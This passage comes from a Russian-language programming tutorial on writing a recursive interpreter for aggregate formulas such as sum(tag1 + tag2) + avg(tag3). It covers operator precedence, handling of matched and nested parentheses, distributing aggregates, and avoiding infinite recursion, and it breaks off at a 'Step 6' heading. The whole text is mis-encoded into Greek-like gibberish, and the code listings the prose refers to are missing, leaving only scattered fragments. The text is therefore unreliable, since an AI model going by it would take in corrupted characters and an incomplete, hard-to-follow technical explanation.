, Π·Π°ΡΠ΅ΠΌ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅ ΡΠΎΡΠΌΡΠ»Ρ Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΎΠ². - ΠΡΠΏΡΠ°Π²ΡΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ Π² ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΡΠ°ΡΠ½Π΄ ΡΠ΅ΠΊΡΡΡΠΈΠΈ Π΄Π»Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ
- ΠΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠ΅Π΅ Π²ΡΡΠΈΡΠ»Π΅Π½ΠΈΠ΅ - ΠΏΠ»ΡΡ, ΠΌΠΈΠ½ΡΡ, ΡΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π΄Π΅Π»Π΅Π½ΠΈΠ΅ - ΠΌΠ΅ΠΆΠ΄Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΡΠΌΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΎΠ²
ΠΠ΄Π΅ΡΡ ΠΌΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ r '[\ + \ -] '
, ΡΡΠΎΠ±Ρ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΡ ΡΠΎΡΠΌΡΠ»Ρ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄Π²Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ°: Π»Π΅Π²ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ ΠΈ ΠΏΡΠ°Π²ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ.ΠΠ°ΡΠ΅ΠΌ ΠΎΠ±Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ° ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡΡΡ Π² ΡΠ΅ΠΊΡΡΡΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π³ΠΎ ΡΡΠΎΠ²Π½Ρ Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ ΠΈΡ
Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ. ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ Π΄Π²Π΅ ΡΠΎΡΡΠ°Π²Π»ΡΡΡΠΈΠ΅ Π±ΡΠ΄ΡΡ ΡΠ°ΡΡΡΠΈΡΠ°Π½Ρ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠ° ΠΌΠ΅ΠΆΠ΄Ρ Π½ΠΈΠΌΠΈ.
ΠΡΠ΅Π½Ρ Π²Π°ΠΆΠ½ΡΠ΅ ΡΠΎΠ²Π΅ΡΡ:
- ΠΠ΅Π²ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π°ΡΠΎΠΌΠ°ΡΠ½ΡΠΌ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΎΠΌ, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ Π±ΠΎΠ»ΡΡΠ΅ Π½Π΅Ρ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΠ².
- ΠΡΠ°Π²ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ ΠΌΠΎΠΆΠ΅Ρ ΠΈΠΌΠ΅ΡΡ Π±ΠΎΠ»ΡΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΠ², Π½ΠΎ ΠΎΠ½ Π±ΡΠ΄Π΅Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ Π² ΡΠ΅ΠΊΡΡΡΠΈΠΈ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π³ΠΎ ΡΡΠΎΠ²Π½Ρ.
- ΠΡΠ΅Π½Ρ Π²Π°ΠΆΠ½ΠΎ ΡΠ½Π°ΡΠ°Π»Π° ΡΠ°Π·Π΄Π΅Π»ΠΈΡΡ Π½Π°
+, -
, Π΅ΡΠ»ΠΈ ΡΠ°ΠΊΠΎΠ²ΡΠ΅ ΠΈΠΌΠ΅ΡΡΡΡ.ΠΠ°ΡΠ΅ΠΌ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅ Π½Π°*, -
, ΡΠΎΠ»ΡΠΊΠΎ Π΅ΡΠ»ΠΈ Π½Π΅ ΠΎΡΡΠ°Π»ΠΎΡΡ+, -
. ΠΡΠΎ Π³Π°ΡΠ°Π½ΡΠΈΡΡΠ΅Ρ, ΡΡΠΎ*, -
Π±ΡΠ΄Π΅Ρ Π²ΡΡΠΈΡΠ»ΡΡΡΡΡ Ρ Π±ΠΎΠ»Π΅Π΅ Π²ΡΡΠΎΠΊΠΈΠΌ ΠΏΡΠΈΠΎΡΠΈΡΠ΅ΡΠΎΠΌ, ΡΠ΅ΠΌ+, -
. - ΠΡΠΈ ΡΠ°ΡΡΠ΅ΡΠ΅ Π΄Π΅Π»Π΅Π½ΠΈΡ
/
ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ ΠΏΡΠΎΠ²Π΅ΡΡΡΠ΅ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΡΡΡ Π·Π½Π°ΠΌΠ΅Π½Π°ΡΠ΅Π»Ρ Π·Π°ΡΠ°Π½Π΅Π΅.
Π¨Π°Π³ 3: ΠΠΏΠ΅ΡΠ°ΡΠΎΡ Π²Π½ΡΡΡΠΈ Π°Π³ΡΠ΅Π³Π°ΡΠΈΠΈ
ΠΠ°Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ ΡΠΌΠ΅Π½, ΡΡΠΎΠ±Ρ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡ ΡΠ°ΠΊΡΡ ββΡΠΎΡΠΌΡΠ»Ρ sum (tag1 + tag2) + avg (tag3)
, ΡΡΠΎ ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½ΡΠ½ΠΎ sum (tag1) + sum (tag2) + ΡΡΠ΅Π΄Π½. (tag3)
.
Π ΡΡΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ Π½Π°ΡΠ° ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ°Ρ ΡΡΠ½ΠΊΡΠΈΡ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΈΠΈ
ΡΠ°Π·Π΄Π΅Π»ΠΈΡ ΡΠΎΡΠΌΡΠ»Ρ sum (tag1 + tag2) + avg (tag3)
Π½Π° Π΄Π²Π΅ ΡΠ°ΡΡΠΈ:
ΠΡΠ»ΠΈ ΡΡΠΎ ΠΏΡΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ, Π²ΡΡ ΡΡΠ½ΠΊΡΠΈΡ Π·Π°Π²Π΅ΡΡΠΈΡΡΡ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ. Π‘Π»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎ, Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ ΡΠΏΠΎΡΠΎΠ± ΡΠ°ΡΠΏΠΎΠ·Π½Π°Π²Π°ΡΡ ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ (ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ Π²Π»ΠΎΠΆΠ΅Π½Π½ΡΠΌΠΈ), Π° Π·Π°ΡΠ΅ΠΌ ΡΠΎΠΏΠΎΡΡΠ°Π²Π»ΡΡΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ Π½Π°Ρ ΠΎΠ΄ΡΡΡΡ Π²Π½ΡΡΡΠΈ ΠΊΡΡΠ³Π»ΡΡ ΡΠΊΠΎΠ±ΠΎΠΊ.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ Π½Π°ΡΡ ΡΡΠ½ΠΊΡΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ (Π² ΠΊΡΠ°ΡΠ½ΠΎΠΌ ΠΊΠ²Π°Π΄ΡΠ°ΡΠ΅):
Π€ΡΠ½ΠΊΡΠΈΡ remove_matched_parantheses
Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
ΠΠ±ΡΡΡΠ½Π΅Π½ΠΈΠ΅ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ:
- Π£Π΄Π°Π»ΠΈΡΠ΅ Π²ΡΠ΅ ΡΠΎΠ²ΠΏΠ°Π²ΡΠΈΠ΅ ΠΏΠ°ΡΡ ΡΠΊΠΎΠ±ΠΎΠΊ, Π΅ΡΠ»ΠΈ ΠΎΠ½ΠΈ Π΅ΡΡΡ
- Π Π°Π·Π΄Π΅Π»ΠΈΡΠ΅ ΡΠΎΡΠΌΡΠ»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ Π²ΡΠ΅
+, -
.ΠΡΠ»ΠΈ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ*, /
- ΠΠ°ΡΠ½ΠΈΡΠ΅ Ρ ΡΠ°ΠΌΠΎΠ³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ°, Π΅ΡΠ»ΠΈ ΠΎΠ½ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π·Π°ΠΊΠ»ΡΡΠ΅Π½Π½ΡΠ΅ ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ (ΡΠΈΡΠ»ΠΎ
(
ΡΠ°Π²Π½ΠΎ)
), ΡΡΠΎΡ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ ΡΠ²Π»ΡΠ΅ΡΡΡ Π»Π΅Π²ΡΠΌ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΎΠΌ, Π° Π²ΡΠ΅ ΠΏΡΠ°Π²ΠΎΠ΅ - ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ. - ΠΡΠ»ΠΈ ΠΎΠ½ Π½Π΅ Π·Π°ΠΊΠ»ΡΡΠ΅Π½, ΠΏΠ΅ΡΠ΅Ρ ΠΎΠ΄ΠΈΡΠ΅ ΠΊ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΌΡ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ, ΠΏΠΎΠΊΠ° Π½Π΅ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ, Π·Π°ΠΊΡΡΠ²Π°ΡΡΠΈΠΉ ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ (ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π²Π»ΠΎΠΆΠ΅Π½Π½ΡΠΌ). ΠΠ°ΡΠ΅ΠΌ Π²ΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ ΡΠ»Π΅Π²Π° Π΄ΠΎΠ»ΠΆΠ½Ρ Π±ΡΡΡ ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Ρ ΠΊΠ°ΠΊ Π»Π΅Π²ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ, Π° Π²ΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ ΡΠΏΡΠ°Π²Π° - ΡΡΠΎ ΠΏΡΠ°Π²ΡΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ.
ΠΠΎΡΠ΅ΠΌΡ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΡΠ΄Π°Π»ΠΈΡΡ Π²ΡΠ΅ ΡΠΎΠ²ΠΏΠ°Π²ΡΠΈΠ΅ ΠΏΠ°ΡΡ ΡΠΊΠΎΠ±ΠΎΠΊ?
ΠΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π½Π°ΡΠ° ΡΠΎΡΠΌΡΠ»Π° - ΡΡΠΌΠΌΠ° (tag1 + tag2) * avg (tag3)
. ΠΡΠ»ΠΈ ΠΌΡ Π½Π΅ ΡΠ΄Π°Π»ΠΈΠΌ ΡΠΎΠ²ΠΏΠ°Π²ΡΡΡ ΠΏΠ°ΡΡ ΡΠΊΠΎΠ±ΠΎΠΊ, ΠΎΠ½Π° Π±ΡΠ΄Π΅Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° ΡΡΠΌΠΌ (tag1
ΠΈ tag2) * avg (tag3)
, ΠΏΠΎΡΡΠΎΠΌΡ Π½Π°ΡΠ° ΡΡΠ½ΠΊΡΠΈΡ Π·Π°Π²Π΅ΡΡΠΈΡΡΡ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ.
Π‘Π»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎ, ΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΡΠ±Π΅Π΄ΠΈΡΡΡΡ, ΡΡΠΎ ΡΠ°ΡΠΏΠΎΠ·Π½Π°Π΅ΠΌ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ ΡΠΊΠ°Π·Π°Π½Ρ Π² ΡΠΊΠΎΠ±ΠΊΠ°Ρ , ΠΊΠ°ΠΊ ΡΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡ Π²ΡΡΠ΅.
ΠΡ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΎΡΠ΅ΡΡΠΈΡΠΎΠ²Π°ΡΡ. ΠΡΠ΅ΠΆΠ΄Π΅ ΡΠ΅ΠΌ ΠΌΡ ΡΠΌΠΎΠΆΠ΅ΠΌ Π΅Π³ΠΎ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ, Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΅ΡΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΡΠ°Π³.
Π¨Π°Π³ 4: ΠΠΎΠ±Π°Π²ΡΡΠ΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΡ Π°ΡΡΠΎΡΠΈΠ°ΡΠΈΠ²Π½ΠΎΠ³ΠΎ Π·Π°ΠΊΠΎΠ½Π°
ΠΡΠΈ ΡΠ°Π±ΠΎΡΠ΅ Ρ ΡΡΠΌΠΌΠΎΠΉ (tag1 + tag2)
ΡΠ΅ΠΊΡΡΠ°Ρ Π²Π΅ΡΡΠΈΡ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠΈΡΡΠ΅Ρ ΡΡΠ½ΠΊΡΠΈΡ
Π½Π΅ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΠΏΡΠΎΠ±Π»Π΅ΠΌ, Π΅ΡΠ»ΠΈ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ tag1
ΡΠ°Π²Π½ΠΎ tag2
. ΠΠ΄Π½Π°ΠΊΠΎ ΠΌΡ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΡΡ, ΡΡΠΎ Π΅ΡΠ»ΠΈ ΠΌΡ Ρ
ΠΎΡΠΈΠΌ ΡΠ΄Π΅Π»Π°ΡΡ Π½Π°ΡΡ ΡΡΠ½ΠΊΡΠΈΡ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡΠ° ΡΠ½ΠΈΠ²Π΅ΡΡΠ°Π»ΡΠ½ΠΎΠΉ. Π‘Π»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎ, Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΠΏΠ΅ΡΠ΅ΠΏΠΈΡΠ°ΡΡ sum (tag1 + tag2)
Π² sum (tag1) + sum (tag2)
. Π’Π°ΠΊΠΆΠ΅ Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΡΡΠΈΡΡΠ²Π°ΡΡ, Π΅ΡΡΡ Π»ΠΈ Π²Π½ΡΡΡΠΈ Π°Π³ΡΠ΅Π³Π°ΡΠ½ΠΎΠΉ ΡΡΠ½ΠΊΡΠΈΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½ΡΠ΅ ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ.
ΠΡΠΈΠΌΠ΅ΡΠ°Π½ΠΈΠ΅: ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠΌΠ΅ΡΡ ΡΠΎΠ»ΡΠΊΠΎ +, -
Π²Π½ΡΡΡΠΈ ΡΡΠΌΠΌΡ ()
.
ΠΠ½ΡΡΠΈΡΠΈΡ:
- ΠΠΎΠ»ΡΡΠΈΡΠ΅ ΠΈΠΌΡ ΡΡΠ½ΠΊΡΠΈΠΈ Π°Π³ΡΠ΅Π³ΠΈΡΠΎΠ²Π°Π½ΠΈΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ
sum
- Π£Π΄Π°Π»ΠΈΡΠ΅ Π²Π½Π΅ΡΠ½ΡΡ ΡΡΠ½ΠΊΡΠΈΡ Π°Π³ΡΠ΅Π³ΠΈΡΠΎΠ²Π°Π½ΠΈΡ
- ΠΠ°ΠΉΠ΄ΠΈΡΠ΅ Π²ΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΡ Π½Π° ΡΠ΅ΠΊΡΡΠ΅ΠΌ ΡΡΠΎΠ²Π½Π΅, Ρ.Π΅. Π½Π΅ Π²ΠΎ Π²Π»ΠΎΠΆΠ΅Π½Π½ΡΡ ΡΠΊΠΎΠ±ΠΊΠ°Ρ . ΠΠ°ΡΠ΅ΠΌ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅ ΡΡΡΠΎΠΊΡ Π½Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠΈΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΠ²
- ΠΠ»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ° Π΄ΠΎΠ±Π°Π²ΡΡΠ΅ ΠΈΠΌΡ ΡΡΠ½ΠΊΡΠΈΠΈ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,Π³ΡΠ°ΠΌΠΌ.
ΡΡΠΌΠΌΠ° (
) Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠ΅ΡΠΈΠΊΡΠ° ΠΈ Π·Π°ΠΊΡΡΠ²Π°ΡΡΠ°Ρ ΡΠΊΠΎΠ±ΠΊΠ° Π² ΠΊΠΎΠ½ΡΠ΅)
- ΠΠ΅ΡΠ΅Π΄Π°ΡΡ Π²ΡΡ ΡΡΡΠΎΠΊΡ Π² ΡΠ»Π΅Π΄ΡΡΡΡΡ ΡΠ΅ΠΊΡΡΡΠΈΡ
ΠΠΎΡ ΠΊΠΎΠ΄:
Π’Π΅ΠΏΠ΅ΡΡ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ Π½Π°ΡΡ ΡΠ°Π±ΠΎΡΡ.
Π¨Π°Π³ 5: ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΡΡΠ³Π»ΡΡ ΡΠΊΠΎΠ±ΠΎΠΊ Π΄Π»Ρ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΠΏΡΠΈΠΎΡΠΈΡΠ΅ΡΠ°
ΠΠ°Ρ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡ ΡΠ°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠ°ΡΠΏΠΎΠ·Π½Π°Π²Π°ΡΡ ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡΡ ΠΏΡΠΈΠΎΡΠΈΡΠ΅Ρ Π²ΡΡΠΈΡΠ»Π΅Π½ΠΈΠΉ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΡΠ° ΡΠΎΡΠΌΡΠ»Π°
sum (tag1 + (tag2-tag3)) * (max (tag4) + avg (tag5))
ΠΠ½ΡΡΠΈΡΠΈΡ ΡΡΠΎΠ³ΠΎ ΡΠ°Π³Π° ΡΠΎΡΡΠΎΠΈΡ Π² ΡΠΎΠΌ, ΡΡΠΎΠ±Ρ ΡΠ°ΡΠΏΠΎΠ·Π½Π°ΡΡ ΠΏΠ°ΡΡ Π·Π°ΠΊΠ»ΡΡΠ΅Π½Π½ΡΡ
ΠΊΡΡΠ³Π»ΡΡ
ΡΠΊΠΎΠ±ΠΎΠΊ, Π·Π°ΡΠ΅ΠΌ ΡΠ΄Π°Π»ΠΈΡΡ Π²Π½Π΅ΡΠ½ΠΈΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ ΠΈ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠΈ.ΠΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΡΡΠΎ ΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΡΠΎΠΏΠΎΡΡΠ°Π²Π»ΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΡΠ°Π±Π»ΠΎΠ½, ΠΊΠΎΡΠΎΡΡΠΉ Π½Π°ΡΠΈΠ½Π°Π΅ΡΡΡ Ρ (
ΠΈ Π·Π°ΠΊΠ°Π½ΡΠΈΠ²Π°Π΅ΡΡΡ Π½Π° )
, ΡΠ°ΠΊ ΡΡΠΎ ΠΌΡ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ ΡΠΎΠΏΠΎΡΡΠ°Π²Π»ΡΡΡ ΠΏΠ°ΡΡ Π·Π°ΠΊΠ»ΡΡΠ΅Π½Π½ΡΡ
Π² ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ, ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ sum (...)
.
ΠΡΠ°ΠΊ, ΠΌΡ ΠΏΡΠΎΡΡΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅ΠΌ Π΅ΡΠ΅ ΠΎΠ΄Π½ΠΎ ΡΡΠ»ΠΎΠ²ΠΈΠ΅ elif
Π΄Π»Ρ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΠΈΡ ΡΡΠΎΠΌΡ ΡΠ°Π±Π»ΠΎΠ½Ρ ΠΈ ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠΈ.
ΠΡΠ΅ ΠΎΠ΄Π½Π° Π²Π°ΠΆΠ½Π°Ρ Π²Π΅ΡΡ - ΠΈΠ·Π±Π΅ΠΆΠ°ΡΡ Π±Π΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΠΎΠΉ ΡΠ΅ΠΊΡΡΡΠΈΠΈ Π·Π΄Π΅ΡΡ. ΠΠΎΠ΄ΡΠΌΠ°ΠΉΡΠ΅ ΠΎ ΠΏΠ΅ΡΠ²ΠΎΠΉ ΡΡΠ½ΠΊΡΠΈΠΈ ΡΡΠΌΠΌΡ Π² ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²ΡΡΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ sum (tag1 + (tag2-tag3))
, Π½Π°ΡΠ° ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ°Ρ ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ ΠΏΠ΅ΡΠ΅ΠΏΠΈΡΠ΅Ρ ΡΡΠΎ Π² sum (tag1) + sum ((tag2-tag3))
.ΠΠ°ΡΠ΅ΠΌ Π²ΡΠΎΡΠΎΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ sum ((tag2-tag3))
Π²ΡΠ·ΠΎΠ²Π΅Ρ Π±Π΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΡΡ ΡΠ΅ΠΊΡΡΡΠΈΡ, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ ΠΎΠ½ Π±ΡΠ΄Π΅Ρ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡΡ Π΄ΠΎΠ±Π°Π²Π»ΡΡΡ ΡΡΠΌΠΌΡ
ΠΊ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠΌΡ.
ΠΠΎΠ΄ Π½ΠΈΠΆΠ΅ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π΄Π»Ρ ΠΏΡΠ΅Π΄ΠΎΡΠ²ΡΠ°ΡΠ΅Π½ΠΈΡ ΡΡΠΎΠΉ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ. ΠΡΠΈΡΠΈΠ½Π°, ΠΏΠΎ ΠΊΠΎΡΠΎΡΠΎΠΉ ΠΌΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠΈΠΊΠ» while
, Π° Π½Π΅ ΠΎΠ΄Π½ΠΎ ΡΡΠ»ΠΎΠ²ΠΈΠ΅ if
, ΡΠΎΡΡΠΎΠΈΡ Π² ΡΠΎΠΌ, ΡΡΠΎΠ±Ρ ΡΠ΄Π΅Π»Π°ΡΡ ΡΡΠ½ΠΊΡΠΈΡ Π±ΠΎΠ»Π΅Π΅ ΡΡΡΠΎΠΉΡΠΈΠ²ΠΎΠΉ ΠΊ ΡΠ°ΠΊΠΈΠΌ ΡΠΈΡΡΠ°ΡΠΈΡΠΌ, ΠΊΠ°ΠΊ ΡΡΠΌΠΌΠ° ((((tag2-tag3))))
.
Π ΡΠ΅ΠΏΠ΅ΡΡ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ.
Π¨Π°Π³ 6: ΠΠΎΠ±Π°Π²ΡΡΠ΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΡ ΠΊΠΎΠ½ΡΡΠ°Π½Ρ
